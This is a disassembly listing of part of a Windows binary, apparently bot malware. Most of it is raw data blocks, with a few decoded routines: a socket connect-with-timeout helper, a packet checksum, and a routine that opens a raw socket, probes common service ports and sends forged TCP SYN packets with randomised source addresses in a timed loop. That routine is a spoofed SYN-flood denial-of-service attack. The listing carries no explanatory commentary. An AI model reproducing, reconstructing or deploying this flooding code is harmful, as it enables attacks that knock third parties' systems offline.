		dd 89F9F7CBh, 4BE8AC55h, 9900007Ch, 1FA4B9h, 0DC45C600h
		dd 0C6F9F745h, 8904DD45h, 33E8D455h, 6600007Ch,	0E8E04589h
		dd 7C2Ah, 59990A6Ah, 8B66F9F7h,	50B09544h, 0DBF815FFh
		dd 6656004Ch, 0FFE24589h, 4CDBF815h, 45896600h,	0E45D88DEh
		dd 7C01E8h, 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h
		dd 8BE54588h, 4589F445h, 8458BE8h, 8DEC4589h, 0E850DC45h
		dd 0FFFF6C59h, 0E6458966h, 6ADC458Dh, 75FF5014h, 85F6E8F8h
		dd 0C4830000h, 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h
		dd 0FFFC75FFh, 4CDC5C15h, 2BD7FF00h, 0E8B9F045h, 33000003h
		dd 3BF1F7D2h, 860F0C45h, 0FFFFFF1Fh, 0E8F875FFh, 735Dh
		dd 0FC75FF59h, 0DC9015FFh, 0C033004Ch, 5B405E5Fh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_413F56	dw 8B55h		; DATA XREF: seg000:00406E50o
		dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFDC0h, 0F633A5F3h, 33460E6Ah, 9CB089DBh, 59000001h
		dd 0BD8DC033h, 0FFFFFF61h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
		dd 4280A83Dh, 50D7FF00h, 7B27E8h, 0FF685900h, 6A000000h
		dd 0FF026A03h, 4CDC7815h, 0FFF88300h, 75FC4589h, 8C15FF66h
		dd 50004CDBh, 0FBC0858Dh, 0C068FFFFh, 5000438Ah, 7AA5E8h
		dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
		dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
		dd 0FFFF596Ah, 8D14C483h, 0FFFBC085h, 0A3E850FFh, 0FF000012h
		dd 0FFFF44B5h, 7271E8FFh, 5959FFFFh, 0BFE2E853h, 8DE0006Fh
		dd 46ACC4Dh, 53026A51h,	0CC758950h, 0DBD815FFh,	0F883004Ch
		dd 0FF6675FFh, 4CDB8C15h, 858D5000h, 0FFFFFBC0h, 438A8868h
		dd 27E85000h, 8300007Ah, 9D390CC4h, 0FFFFFF58h,	8D532375h
		dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
		dd 0FFFDC0B5h, 58ECE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
		dd 1225E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF71F3h, 0E8535959h
		dd 6FBF64h, 0C4858D6Fh,	50FFFFFDh, 0DC3815FFh, 0F883004Ch
		dd 8D5E75FFh, 0FFFBC085h, 8A6868FFh, 0E8500043h, 79B6h
		dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 587CE8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11B5E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF7183h, 0E8535959h, 6FBEF4h,	8D106A63h
		dd 5053BC45h, 7667E8h, 0CC48300h, 0BC45C766h, 0FF530002h
		dd 4CDBF815h, 45896600h, 0C4858DBEh, 50FFFFFDh,	0DC3815FFh
		dd 4589004Ch, 85D89C0h,	4589D7FFh, 22BE9D0h, 286A0000h
		dd 45D445C6h, 0DBF815FFh, 9D39004Ch, 0FFFFFF50h, 0D6458966h
		dd 0D8758966h, 0DA5D8966h, 80DC45C6h, 6DD45C6h,	0DE5D8966h
		dd 57E82D74h, 8B000079h, 8E6C1F0h, 794DE8h, 0C1F00300h
		dd 43E808E6h, 3000079h,	8E6C1F0h, 7939E8h, 89F00300h, 0F633E075h
		dd 0FF16EB46h, 0FFFDC0B5h, 694AE8FFh, 5059FFFFh, 0DC3815FFh
		dd 4589004Ch, 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h
		dd 7906h, 401B999h, 0F9F70000h,	0FF06EB52h, 0FFFF48B5h
		dd 0F815FFFFh, 66004CDBh, 0E8EA4589h, 78E6h, 401B999h
		dd 0F9F70000h, 0F815FF52h, 68004CDBh, 12345678h, 0E8458966h
		dd 0DBF415FFh, 4589004Ch, 44858DECh, 68FFFFFEh,	42C300h
		dd 78D2E850h, 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h
		dd 44858D5Ch, 68FFFFFEh, 42C128h, 78B2E850h, 85590000h
		dd 97459C0h, 0C6F05D89h, 0EB10F545h, 44858D3Ch,	68FFFFFEh
		dd 42C120h, 7892E850h, 85590000h, 257459C0h, 7869E8h, 99036A00h
		dd 89F9F759h, 5BE8F055h, 6A000078h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CDBF8h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0F815FF06h
		dd 66004CDBh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 822BE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 821Ch, 0FF60858Dh
		dd 346AFFFFh, 685FE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 81F8h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 81E6E850h, 46A0000h, 5388458Dh, 745AE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 1AE85028h,	66FFFF68h
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 81B3E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CDC5C15h, 0FFF88300h, 0AE840Fh,	45FF0000h
		dd 2BD7FF08h, 0E8B9D045h, 33000003h, 3BF1F7D2h,	0FFFF4C85h
		dd 0BB860FFFh, 0FFFFFFFDh, 15FFFC75h, 4CDC90h, 3308458Bh
		dd 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah, 0C1FFFFFFh, 505114E9h
		dd 0FDC4858Dh, 75FFFFFFh, 858D5008h, 0FFFFFE44h, 0C0858D50h
		dd 68FFFFFBh, 438A18h, 76A4E850h, 0C4830000h, 589D391Ch
		dd 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh
		dd 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5569E8h, 14C483FFh
		dd 0FBC0858Dh, 0E850FFFFh, 0EA2h, 0FF44B5FFh, 70E8FFFFh
		dd 59FFFF6Eh, 0E1E85359h, 0EC006FBBh, 0FFFC75FFh, 4CDC9015h
		dd 8C15FF00h, 50004CDBh, 0FDC4858Dh, 75FFFFFFh,	0C8685008h
		dd 8D004389h, 0FFFBC085h, 20068FFh, 0E8500000h,	7720h
		dd 3918C483h, 0FFFF589Dh, 532375FFh, 0FBC0858Dh, 0B5FFFFFFh
		dd 0FFFFFF54h, 0C4858D50h, 50FFFFFEh, 0FDC0B5FFh, 0EBE8FFFFh
		dd 83FFFF54h, 858D14C4h, 0FFFFFBC0h, 0E24E850h,	0B5FF0000h
		dd 0FFFFFF44h, 0FF6DF2E8h, 535959FFh, 6FBB63E8h
		db 0, 6Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4144CC
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		lea	edi, [eax+eax]
		sub	ecx, edi


loc_4144BE:				; CODE XREF: seg000:004144C6j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_4144BE
		pop	edi
		cmp	ecx, 1


loc_4144CC:				; CODE XREF: seg000:004144B0j
		jnz	short loc_4144D9
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4144D9:				; CODE XREF: seg000:loc_4144CCj
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
word_4144F2	dw 8B55h		; DATA XREF: seg000:00408744o
		dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
		dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
		dd 46E850FFh, 59000074h, 70858D50h, 50FFFFFEh, 0DC3815FFh
		dd 8D50004Ch, 0FFFE6CB5h, 94EC81FFh, 6A000001h,	0FC8B5965h
		dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 0F468FFFFh, 5000438Ah
		dd 7519E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0DFE8FFFFh
		dd 83FFFF53h, 858D14C4h, 0FFFFFC6Ch, 0D18E850h,	75FF0000h
		dd 6CE9E8F0h, 5959FFFFh, 0BA5AE856h, 5555006Fh,	0EC81EC8Bh
		dd 0C8h, 0FC6583h, 358B5653h, 4280A8h, 68D6FF57h, 0FFh
		dd 26A036Ah, 0FFF44589h, 4CDC7815h, 0F8458900h,	0E850D6FFh
		dd 74ECh, 578BB59h, 6A530000h, 0E8016A09h, 4286h, 8D505959h
		dd 0E850DC45h, 7188h, 0BE0CC483h, 5A0h,	80A815FFh, 452B0042h
		dd 0B9D233F4h, 3E8h, 853BF1F7h,	1A0h, 1B2870Fh,	3D830000h
		dd 4D137Ch, 6A587500h, 45895810h, 458D50F0h, 50006A9Ch
		dd 7147E8h, 0CC48300h, 50F0458Dh, 509C458Dh, 0FF0875FFh
		dd 4CDB9C15h, 0FF6800h,	16A0000h, 4219E8h, 0B60F5000h
		dd 0F50A245h, 50A145B6h, 0A045B60Fh, 38858D50h,	68FFFFFFh
		dd 42EC0Ch, 73FCE850h, 0C4830000h, 8D13EB20h, 0FFFF3885h
		dd 0D6068FFh, 0E850004Dh, 7A10h, 858D5959h, 0FFFFFF38h
		dd 3815FF50h, 8B004CDCh, 0AC458BF8h, 0C564524h,	0B045C645h
		dd 0AC458910h, 0DBF815FFh, 8966004Ch, 13E8B245h, 66000074h
		dd 0BA6583h, 0B4458966h, 19C858Bh, 0C7660000h, 40B645h
		dd 40B845C6h, 6B945C6h,	89BC7D89h, 0EBE8C045h, 66000073h
		dd 0E8C44589h, 73E2h, 0C6458966h, 73D9E8h, 0C8458900h
		dd 73D1E8h, 0CC458900h,	24D0458Bh, 0C07D8B50h, 8366500Ch
		dd 6600D665h, 0D86583h,	0D0458966h, 0C6458B66h,	8966146Ah
		dd 458D8E45h, 45C650ACh, 0C76618D2h, 787DD445h,	8C45C766h
		dd 7D890002h, 0FD5CE890h, 0A580FFFFh, 0FFFFFF60h, 66595900h
		dd 8BBA4589h, 8C68BC45h, 89000005h, 0FFFF5885h,	5CBD89FFh
		dd 0C6FFFFFFh, 0FFFF6185h, 15FF06FFh, 42820Ch, 62858966h
		dd 8DFFFFFFh, 0FFFF6485h, 50146AFFh, 50C4458Dh,	7D77E8h
		dd 78858D00h, 53FFFFFFh, 0DC458D50h, 7D66E850h,	858D0000h
		dd 0FFFFFF58h, 59868h, 0F3E85000h, 83FFFFFCh, 896620C4h
		dd 458DD645h, 50106A8Ch, 8D56006Ah, 0FF50AC45h,	15FFF875h
		dd 4CDC5Ch, 0E9FC45FFh,	0FFFFFE30h, 0FFF875FFh,	4CDC9015h
		dd 0FC458B00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4147E1	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:0040672Fo
		dd 414EC81h, 558B0000h,	85B85608h, 57000000h, 0F28BC88Bh
		dd 0FDECBD8Dh, 0EC81FFFFh, 214h, 0C88BA5F3h, 0FDECB58Dh
		dd 0FC8BFFFFh, 21082C7h, 10000h, 0A5F30000h, 36E8h, 858D5000h
		dd 0FFFFFBECh, 438B2868h, 43E85000h, 81000072h,	220C4h
		dd 0EC858D00h, 50FFFFFBh, 0A69E8h, 0F075FF00h, 0FF6A3AE8h
		dd 6A5959FFh, 0B7AAE800h, 559C006Fh, 0EC81EC8Bh, 254h
		dd 0FFBB5653h, 57000000h, 6A036A53h, 7815FF02h,	83004CDCh
		dd 4589FFF8h, 8D1A75F4h, 0FFFDAC85h, 8D2068FFh,	0E8500043h
		dd 71EAh, 59FF3359h, 2C6E9h, 0EC4D8D00h, 3351046Ah, 57026AFFh
		dd 0EC45C750h, 1, 0DBD815FFh, 0F883004Ch, 0FF0E75FFh, 4CDB8C15h
		dd 0D0685000h, 0EB00438Ch, 0C458D1Bh, 3815FF50h, 83004CDCh
		dd 2075FFF8h, 0DB8C15FFh, 6850004Ch, 438C88h, 0FDAC858Dh
		dd 0E850FFFFh, 718Eh, 0E90CC483h, 26Bh,	45C76657h, 0FF0002DCh
		dd 4CDBF815h, 45896600h, 0C458DDEh, 3415FF50h, 8B004282h
		dd 4280A835h, 0E0458900h, 4589D6FFh, 0C458DF8h,	0AC858D50h
		dd 68FFFFFDh, 438C5Ch, 7148E850h, 0C4830000h, 14BD390Ch
		dd 75000002h, 858D5720h, 0FFFFFDACh, 210B5FFh, 8D500000h
		dd 18C85h, 75FF5000h, 5010E808h, 0C483FFFFh, 0FC7D8914h
		dd 452BD6FFh, 0B9D233F8h, 3E8h,	0F08BF1F7h, 10C858Dh, 0E8500000h
		dd 6FF1h, 0F59F03Bh, 19187h, 41CBE00h, 5EB0000h, 0FFBBh
		dd 7C3D3900h, 75004D13h, 58106A50h, 50F04589h, 57CC458Dh
		dd 6DDAE850h, 0C4830000h, 0F0458D0Ch, 0CC458D50h, 875FF50h
		dd 0DB9C15FFh, 6A53004Ch, 3EB0E801h, 0F500000h,	50D245B6h
		dd 0D145B60Fh, 45B60F50h, 458D50D0h, 0EC0C68ACh, 0E8500042h
		dd 7096h, 0EB20C483h, 0AC458D10h, 4D0D6068h, 0ADE85000h
		dd 59000076h, 5C65659h,	4D0F60h, 0F815FF45h, 66004CDBh
		dd 4D0F62A3h, 0AC458D00h, 5C76650h, 4D0F64h, 89660001h
		dd 4D0F663Dh, 6805C600h, 80004D0Fh, 0F6905C6h, 6611004Dh
		dd 0F6A3D89h, 15FF004Dh, 4CDC38h, 4D0F6CA3h, 0E0458B00h
		dd 4D0F70A3h, 8C858D00h, 50000000h, 7A3D8966h, 0E8004D0Fh
		dd 6F11h, 7559C085h, 7070E810h,	0B9990000h, 401h, 0EB52F9F7h
		dd 8C858D0Eh, 50000000h, 6EF0E8h, 0FF505900h, 4CDBF815h
		dd 76A36600h, 0E8004D0Fh, 7046h, 401B999h, 8680000h, 0F7000004h
		dd 158966F9h, 4D0F74h, 0DBF815FFh, 68004Ch, 66000004h
		dd 4D0F78A3h, 701CE800h, 0F7990000h, 7C6852FBh,	0E8004D0Fh
		dd 6CBCh, 8D0CC483h, 106ADC45h,	68565750h, 4D0F60h, 0FFF475FFh
		dd 4CDC5C15h, 0FFF88300h, 0A4840Fh, 45FF0000h, 0A815FFFCh
		dd 2B004280h, 0D233F845h, 3E8B9h, 8BF1F700h, 0C858DD8h
		dd 50000001h, 6E60E8h, 59D83B00h, 0FE76860Fh, 75FFFFFFh
		dd 9015FFF4h, 8B004CDCh, 858DFC75h, 10Ch, 1CF66950h, 0E8000004h
		dd 6E39h, 0C68BC88Bh, 330AE8C1h, 0C1F1F7D2h, 565014EEh
		dd 8DFC75FFh, 8D500C45h, 0FFFDAC85h, 8BF868FFh,	0E8500043h
		dd 6F1Eh, 391CC483h, 214BDh, 57207500h,	0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4DE6h
		dd 5F14C483h, 5BC0335Eh, 75FFC3C9h, 15FF56FCh, 4CDB8Ch
		dd 0C458D50h, 0AC858D50h, 68FFFFFDh, 438B68h, 6ECCE850h
		dd 0C4830000h
		db 18h,	0EBh, 0ACh
byte_414BAF	db 55h			; DATA XREF: seg000:00407DC6o
		dd 0EC81EC8Bh, 414h, 5608458Bh,	85B957h, 0F08B0000h, 0FDECBD8Dh
		dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
		dd 6D87E850h, 50590000h, 0FE70858Dh, 0E850FFFFh, 6D79h
		dd 858D5059h, 0FFFFFDF0h, 3815FF50h, 50004CDCh,	144E8h
		dd 858D5000h, 0FFFFFBECh, 438D4C68h, 5FE85000h,	3300006Eh
		dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh,	50F475FFh
		dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 4D28E8FFh, 0C483FFFFh
		dd 0EC858D14h, 50FFFFFBh, 661E8h, 0F075FF00h, 0FF6632E8h
		dd 565959FFh, 6FB3A3E8h, 5E5FAA00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C60	proc near		; CODE XREF: seg000:00414ECDp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_414C89
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_428210	; connect
		jmp	loc_414D45
; ---------------------------------------------------------------------------


loc_414C89:				; CODE XREF: sub_414C60+13j
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	eax
		inc	edi
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	ds:dword_4281F8	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_4CDBA0	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	ds:dword_4CDBE0	; select
		test	eax, eax
		jnz	short loc_414CED
		or	eax, 0FFFFFFFFh
		jmp	short loc_414D45
; ---------------------------------------------------------------------------


loc_414CED:				; CODE XREF: sub_414C60+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414CF8


loc_414CF4:				; CODE XREF: sub_414C60+B8j
					; sub_414C60+DCj
		mov	eax, edi
		jmp	short loc_414D45
; ---------------------------------------------------------------------------


loc_414CF8:				; CODE XREF: sub_414C60+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426A18	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_414D1A
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_426A18	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_414CF4


loc_414D1A:				; CODE XREF: sub_414C60+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	ds:dword_4281E4	; getsockopt
		cmp	eax, edi
		jz	short loc_414CF4
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_414D45:				; CODE XREF: sub_414C60+24j
					; sub_414C60+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_414C60	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		xor	eax, eax
		push	ebx
		push	esi
		inc	eax
		push	edi
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		mov	[ebp-10h], eax
		pop	esi
		push	esi
		push	2
		call	ds:dword_428208	; WSASocketA
		lea	ecx, [ebp-10h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	ds:dword_4D13E0, eax
		call	ds:dword_4CDBD8	; setsockopt
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp-0FCh]
		pop	ecx
		mov	[ebp-108h], ebx
		mov	[ebp-78h], ecx
		mov	[ebp-104h], ebx
		mov	[ebp-100h], ebx
		mov	[ebp-18h], esi
		mov	dword ptr [ebp-88h], 401h
		mov	dword ptr [ebp-84h], 15h
		mov	dword ptr [ebp-80h], 16h
		mov	dword ptr [ebp-7Ch], 17h
		mov	dword ptr [ebp-74h], 35h
		mov	dword ptr [ebp-70h], 50h
		mov	dword ptr [ebp-6Ch], 51h
		mov	dword ptr [ebp-68h], 58h
		mov	dword ptr [ebp-64h], 6Eh
		mov	dword ptr [ebp-60h], 71h
		mov	dword ptr [ebp-5Ch], 77h
		mov	dword ptr [ebp-58h], 87h
		mov	dword ptr [ebp-54h], 89h
		mov	dword ptr [ebp-50h], 8Bh
		mov	dword ptr [ebp-4Ch], 8Fh
		mov	dword ptr [ebp-48h], 1BBh
		mov	dword ptr [ebp-44h], 1BDh
		mov	dword ptr [ebp-40h], 400h
		mov	dword ptr [ebp-3Ch], 599h
		mov	dword ptr [ebp-38h], 5DCh
		mov	dword ptr [ebp-34h], 6B8h
		mov	dword ptr [ebp-30h], 0CEAh
		mov	dword ptr [ebp-2Ch], 0D3Dh
		mov	dword ptr [ebp-28h], 1388h
		mov	dword ptr [ebp-24h], 1A0Bh
		mov	dword ptr [ebp-20h], 1F40h
		mov	dword ptr [ebp-1Ch], 1F90h
		mov	[ebp-0Ch], ebx
		rep stosd
		mov	dword ptr [ebp-14h], 0BB8h
		xor	esi, esi


loc_414E87:				; CODE XREF: seg000:00414EF5j
		mov	eax, [ebp+8]
		lea	edi, [ebp+esi-88h]
		mov	[ebp-94h], eax
		mov	word ptr [ebp-98h], 2
		mov	ax, [edi]
		push	eax
		call	ds:dword_4CDBF8	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp-96h], ax
		call	ds:dword_4CDC78	; socket
		lea	ecx, [ebp-18h]
		mov	[ebp-8], eax
		push	ecx
		lea	ecx, [ebp-98h]
		push	10h
		push	ecx
		push	eax
		call	sub_414C60
		add	esp, 10h
		mov	[ebp-4], eax
		push	dword ptr [ebp-8]
		call	ds:dword_4CDC90	; closesocket
		cmp	[ebp-4], ebx
		jnz	short loc_414EEF
		mov	eax, [edi]
		mov	[ebp+esi-108h],	eax


loc_414EEF:				; CODE XREF: seg000:00414EE4j
		add	esi, 4
		cmp	esi, 70h
		jl	short loc_414E87
		mov	esi, offset dword_4D13E8
		push	offset asc_42E0C8 ; " "
		push	esi
		call	sub_41BA76
		mov	edi, ds:dword_4280A8
		pop	ecx
		pop	ecx
		call	edi	; GetTickCount
		mov	[ebp-8], eax
		mov	[ebp-4], ebx


loc_414F17:				; CODE XREF: seg000:00414F6Ej
		call	edi	; GetTickCount
		sub	eax, [ebp-8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+0Ch]
		ja	short loc_414F70
		mov	eax, [ebp-4]
		mov	eax, [ebp+eax*4-108h]
		cmp	eax, ebx
		jz	short loc_414F4D
		push	eax
		push	esi
		push	offset aSD	; "%s%d	"
		push	esi
		mov	[ebp-0Ch], eax
		call	sub_41BA76
		add	esp, 10h
		jmp	short loc_414F67
; ---------------------------------------------------------------------------


loc_414F4D:				; CODE XREF: seg000:00414F36j
		push	0FFFFh
		push	ebx
		call	sub_418872
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_4CDBF8	; htons
		movzx	eax, ax
		mov	[ebp-0Ch], eax


loc_414F67:				; CODE XREF: seg000:00414F4Bj
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 1Ch
		jl	short loc_414F17


loc_414F70:				; CODE XREF: seg000:00414F28j
					; seg000:004151A7j
		push	28h
		push	ebx
		push	offset byte_4D1384
		call	sub_41B780
		mov	esi, 0FFFFh
		mov	ds:byte_4D1384,	45h
		push	esi
		push	400h
		mov	ds:byte_4D138D,	6
		mov	ds:byte_4D1385,	8
		call	sub_418872
		add	esp, 14h
		push	eax
		call	ds:dword_4CDBF8	; htons
		push	28h
		mov	ds:word_4D1388,	ax
		call	ds:dword_4CDBF8	; htons
		or	ds:byte_4D138C,	0FFh
		cmp	ds:dword_4D137C, ebx
		mov	ds:word_4D1386,	ax
		mov	ds:word_4D138A,	bx
		jnz	short loc_414FF0
		push	0FFFEh
		push	1
		call	sub_418872
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+8]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_414FFB
; ---------------------------------------------------------------------------


loc_414FF0:				; CODE XREF: seg000:00414FD4j
		push	offset dword_4D0D60
		call	ds:dword_4CDC38	; inet_addr


loc_414FFB:				; CODE XREF: seg000:00414FEEj
		mov	ds:dword_4D1390, eax
		mov	eax, [ebp+8]
		push	4000h
		mov	ds:dword_4D1394, eax
		mov	ds:byte_4D13A5,	bl
		call	ds:dword_4CDBF8	; htons
		push	esi
		push	ebx
		mov	ds:word_4D13A6,	ax
		call	sub_418872
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_418872
		add	esp, 10h
		add	edi, eax
		push	edi
		call	ds:dword_4CDBF4	; htonl
		mov	ds:dword_4D139C, eax
		mov	al, ds:byte_4D13A4
		mov	edi, [ebp+8]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	ds:byte_4D13A4,	al
		mov	ax, [ebp-0Ch]
		mov	ds:dword_4D13A0, ebx
		mov	ds:word_4D13AA,	bx
		mov	ds:word_4D139A,	ax
		mov	ds:dword_4D13C0, edi
		mov	ds:byte_4D13C4,	bl
		mov	ds:byte_4D13C5,	6
		call	ds:dword_4CDBF8	; htons
		mov	ds:word_4D13C6,	ax
		mov	ax, ds:word_4D139A
		mov	ds:word_4D13AC,	2
		mov	ds:dword_4D13B0, edi
		mov	ds:word_4D13AE,	ax
		mov	[ebp-4], ebx
		jmp	short loc_4150B1
; ---------------------------------------------------------------------------


loc_4150AC:				; CODE XREF: seg000:00415181j
		mov	esi, 0FFFFh


loc_4150B1:				; CODE XREF: seg000:004150AAj
		cmp	[ebp-4], ebx
		push	esi
		push	ebx
		jnz	short loc_4150E5
		call	sub_418872
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_4CDBF8	; htons
		mov	ds:word_4D1398,	ax
		mov	eax, ds:dword_4D1390
		mov	ds:dword_4D13BC, eax
		mov	ds:byte_4D13A5,	2
		mov	ds:dword_4D13A0, ebx
		jmp	short loc_415102
; ---------------------------------------------------------------------------


loc_4150E5:				; CODE XREF: seg000:004150B6j
		mov	ds:byte_4D13A5,	10h
		call	sub_418872
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_4CDBF8	; htons
		movzx	eax, ax
		mov	ds:dword_4D13A0, eax


loc_415102:				; CODE XREF: seg000:004150E3j
		inc	ds:word_4D1388
		inc	ds:dword_4D139C
		mov	ax, ds:word_4D139A
		push	5
		pop	ecx
		mov	esi, offset word_4D1398
		mov	edi, offset dword_4D13C8
		mov	ds:word_4D138E,	bx
		mov	ds:word_4D13A8,	bx
		push	14h
		rep movsd
		mov	esi, offset byte_4D1384
		mov	ds:word_4D13AE,	ax
		push	esi
		call	sub_40AB51
		push	20h
		push	offset dword_4D13BC
		mov	ds:word_4D138E,	ax
		call	sub_40AB51
		add	esp, 10h
		mov	ds:word_4D13A8,	ax
		push	10h
		push	offset word_4D13AC
		push	ebx
		push	28h
		push	esi
		push	ds:dword_4D13E0
		call	ds:dword_4CDC5C	; sendto
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 3FFh
		jl	loc_4150AC
		call	ds:dword_4280A8	; GetTickCount
		sub	eax, [ebp-8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+0Ch]
		ja	short loc_4151AC
		push	dword ptr [ebp+10h]
		call	ds:dword_428064	; Sleep
		jmp	loc_414F70
; ---------------------------------------------------------------------------


loc_4151AC:				; CODE XREF: seg000:0041519Cj
		pop	edi
		pop	esi
		mov	eax, offset dword_4D13E8
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151B6	proc near		; CODE XREF: seg000:00408BF9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43FDB8
		mov	edi, 0B8h


loc_4151CA:				; CODE XREF: sub_4151B6+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4151ED
		push	[ebp+arg_0]
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4151ED
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_440938
		jl	short loc_4151CA
